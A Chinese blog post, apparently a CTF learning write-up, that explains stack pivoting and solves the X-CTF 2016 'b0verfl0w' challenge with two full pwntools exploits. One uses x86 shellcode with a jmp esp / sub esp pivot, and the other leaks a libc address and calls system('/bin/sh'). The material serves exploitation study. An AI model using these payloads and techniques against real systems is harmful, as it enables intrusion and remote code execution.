pwn学习(劫持栈指针)

原理

正如它描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP。一般来说,我们可能在下述情况使用劫持栈指针。

  • 可以控制栈溢出的字节数较少,难以构造较长的ROP链。
  • 开启了PIE保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其他漏洞难以利用,需要进行转换,比如将栈劫持到推空间,从而在堆上写rop及进行堆漏洞利用。

此外,栈指针劫持有以下几个要求:

  • 可以控制程序执行流
  • 可以控制sp指针,一般来说控制栈指针会使用rop,常见的控制栈指针的gadgets一般是pop rsp/esp

例题

下载地址:X-CTF Quals 2016 - b0verfl0w

例行检查checksec

[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/b0verfl0w'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

IDA分析

  • 读取50个字节,s的空间有0x20,也就是32个字节,ebp占4个字节,也就是还能溢出14个字节。
  • 而且程序中没有system函数和/bin/sh的字符串

两种exp

使用栈指针劫持,直接向s中写shellcode可以打通

思路如下图:

  • 向s中直接写shellcode,不过一般的shellcode太长,需要小于0x20字节的shellcode。
  • shellcode不够0x20个字节的用任意字符填充
  • 虚假的ebp地址
  • 返回地址,ret相当于pop eip;jmp eip指令
    • 执行到ret时,esp指向ret,pop eip执行完时,esp+4,指向sub esp指令处。
    • 因为ret地址处为jmp esp。所以将这个地址pop出来赋给eip,jmp eip,跳到eip处,eip为jmp esp,则再跳到esp处,就相当于跳到了sub esp指令处。
  • sub esp offset;jmp esp这里两条指令,相当于使esp指向shellcode处,跳转esp执行shellcode。
  • 所以说第一个jmp指令为跳转到sub指令处,而第二个jmp指令为跳转到shellcode处。
  • 需要注意的是:栈无论什么时候都不会被初始化,也不会被清空。所以shellcode在内存中依然存在,可以控制esp来执行shellcode。

还需要查找一个jmp esp的gadgets

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary b0verfl0w --only 'jmp'
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x08048504 : jmp esp

Unique gadgets found: 4

sub esp offset;offset的确定

  • 0x20的shellcode+padding
  • 0x4的ebp
  • 0x4的ret
  • 加起来为0x28

Exp编写如下:

from pwn import *
from LibcSearcher import *

context.log_level = "DEBUG"

sh = process('b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

jmp_esp = 0x08048504

sub_esp_jmp = asm("sub esp,0x28;jmp esp")

payload = shellcode_x86 + (0x24 - len(shellcode_x86)) * 'a' + p32(jmp_esp) + sub_esp_jmp

sh.recv()

sh.sendline(payload)

sh.interactive()

泄露libc_main_start地址,确定libc版本,再使用system地址也可打通

  • 通过puts函数泄露libc_main_start地址
  • 确定libc版本
  • 计算system地址与/bin/sh地址
  • 最长的rop链仅需要12个字节,小于14个字节,可以打通。
  • 具体步骤请看我的上篇博客,这里不再展开
  • 给出Exp
from pwn import *
from LibcSearcher import *

context.log_level = "DEBUG"

sh = process('b0verfl0w')

libc_main_addr = 0x0804a020 
puts_addr = 0x080483d0
start_addr = 0x08048400

payload = 'a' * 36 + p32(puts_addr) + p32(start_addr) + p32(libc_main_addr)

sh.recv()

sh.sendline(payload)

last_four = sh.recvline()

last = last_four[-5:-1]
//切片将输出的libc_main_start地址输出来
real_libc_main = u32(last)

print "addr:" + hex(real_libc_main)

obj = LibcSearcher("__libc_start_main", real_libc_main)

addr_base = real_libc_main - obj.dump("__libc_start_main")

system_addr = addr_base + obj.dump("system")

binsh_addr = addr_base + obj.dump("str_bin_sh")

payload = 0x24 * 'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)

sh.recv()

sh.sendline(payload)

sh.interactive()

需要注意三点

  • 这个程序有回显,不能直接recv(4)来接收libc_main_start的地址,需要进行切片或使用recvuntil函数
    • sh.recvuntil(".")
    • addr = sh.recv(4)
  • 建议编写exp时,程序中都加上context.log_level = "DEBUG"这样一句话,方便进行调试
  • 32位系统libc里面的地址一般是f7开头的
发布了280 篇原创文章 · 获赞 68 · 访问量 26万+

猜你喜欢

转载自blog.csdn.net/AcSuccess/article/details/104372496